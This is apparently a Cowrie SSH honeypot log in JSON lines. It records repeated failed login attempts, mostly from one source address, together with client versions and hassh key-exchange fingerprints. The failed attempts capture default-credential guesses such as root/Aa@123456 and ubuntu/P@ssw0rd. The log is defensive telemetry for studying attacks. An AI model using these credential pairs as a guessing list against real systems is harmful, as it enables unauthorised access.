cdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:35.215328Z","src_ip":"192.109.200.237","session":"edbfc1cb4670","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"factorio","password":"factorio","message":"login attempt [factorio/factorio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:35.507941Z","src_ip":"192.109.200.237","session":"edbfc1cb4670","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:36.594138Z","src_ip":"192.109.200.237","session":"edbfc1cb4670","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":49702,"dst_ip":"10.17.0.5","dst_port":22,"session":"8880cb909656","protocol":"ssh","message":"New connection: 38.93.206.2:49702 (10.17.0.5:22) [session: 8880cb909656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:36.723802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:36.728884Z","src_ip":"38.93.206.2","session":"8880cb909656","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:36.779957Z","src_ip":"38.93.206.2","session":"8880cb909656","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cooper","message":"login attempt [root/cooper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:36.934067Z","src_ip":"38.93.206.2","session":"8880cb909656","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:37.988293Z","src_ip":"38.93.206.2","session":"8880cb909656","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34998,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6bbdbef89ef","protocol":"ssh","message":"New connection: 192.109.200.237:34998 (159.203.135.109:22) [session: e6bbdbef89ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:38.259418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:38.264093Z","src_ip":"192.109.200.237","session":"e6bbdbef89ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:38.346748Z","src_ip":"192.109.200.237","session":"e6bbdbef89ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:38.594007Z","src_ip":"192.109.200.237","session":"e6bbdbef89ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:39.679536Z","src_ip":"192.109.200.237","session":"e6bbdbef89ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49770,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b977e6dd04e","protocol":"ssh","message":"New connection: 192.109.200.237:49770 (159.203.135.109:22) [session: 1b977e6dd04e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:41.168211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:41.173311Z","src_ip":"192.109.200.237","session":"1b977e6dd04e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:41.255594Z","src_ip":"192.109.200.237","session":"1b977e6dd04e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AA123456","message":"login attempt [root/AA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:41.503469Z","src_ip":"192.109.200.237","session":"1b977e6dd04e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:42.588321Z","src_ip":"192.109.200.237","session":"1b977e6dd04e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49776,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e55e68814f4","protocol":"ssh","message":"New connection: 192.109.200.237:49776 (159.203.135.109:22) [session: 8e55e68814f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:44.265093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:44.270052Z","src_ip":"192.109.200.237","session":"8e55e68814f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:44.352426Z","src_ip":"192.109.200.237","session":"8e55e68814f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456","message":"login attempt [root/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:44.600022Z","src_ip":"192.109.200.237","session":"8e55e68814f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:45.684739Z","src_ip":"192.109.200.237","session":"8e55e68814f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49790,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed835a12dc16","protocol":"ssh","message":"New connection: 192.109.200.237:49790 (159.203.135.109:22) [session: ed835a12dc16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:47.367539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:47.372097Z","src_ip":"192.109.200.237","session":"ed835a12dc16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:47.454925Z","src_ip":"192.109.200.237","session":"ed835a12dc16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"123456","message":"login attempt [kingbase/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:47.779315Z","src_ip":"192.109.200.237","session":"ed835a12dc16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:48.865406Z","src_ip":"192.109.200.237","session":"ed835a12dc16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57750,"dst_ip":"159.203.135.109","dst_port":22,"session":"f60856674e41","protocol":"ssh","message":"New connection: 192.109.200.237:57750 (159.203.135.109:22) [session: f60856674e41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:50.514654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:50.519641Z","src_ip":"192.109.200.237","session":"f60856674e41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:50.602010Z","src_ip":"192.109.200.237","session":"f60856674e41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd","message":"login attempt [ubuntu/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:50.851330Z","src_ip":"192.109.200.237","session":"f60856674e41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":73.6888632774353,"message":"Connection lost after 73 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:50.977288Z","src_ip":"152.42.224.71","session":"485158e6e7c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:51.936338Z","src_ip":"192.109.200.237","session":"f60856674e41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57760,"dst_ip":"159.203.135.109","dst_port":22,"session":"da5969a6c727","protocol":"ssh","message":"New connection: 192.109.200.237:57760 (159.203.135.109:22) [session: da5969a6c727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:53.543169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:53.548604Z","src_ip":"192.109.200.237","session":"da5969a6c727","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:53.631469Z","src_ip":"192.109.200.237","session":"da5969a6c727","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sinusbot","password":"sinusbot","message":"login attempt [sinusbot/sinusbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:53.880656Z","src_ip":"192.109.200.237","session":"da5969a6c727","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:55.012278Z","src_ip":"192.109.200.237","session":"da5969a6c727","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57766,"dst_ip":"159.203.135.109","dst_port":22,"session":"5cf362b4366d","protocol":"ssh","message":"New connection: 192.109.200.237:57766 (159.203.135.109:22) [session: 5cf362b4366d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:56.583728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:56.587748Z","src_ip":"192.109.200.237","session":"5cf362b4366d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:56.669302Z","src_ip":"192.109.200.237","session":"5cf362b4366d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"opc","message":"login attempt [opc/opc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:56.919426Z","src_ip":"192.109.200.237","session":"5cf362b4366d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:30:58.003639Z","src_ip":"192.109.200.237","session":"5cf362b4366d","protocol":"ssh"}
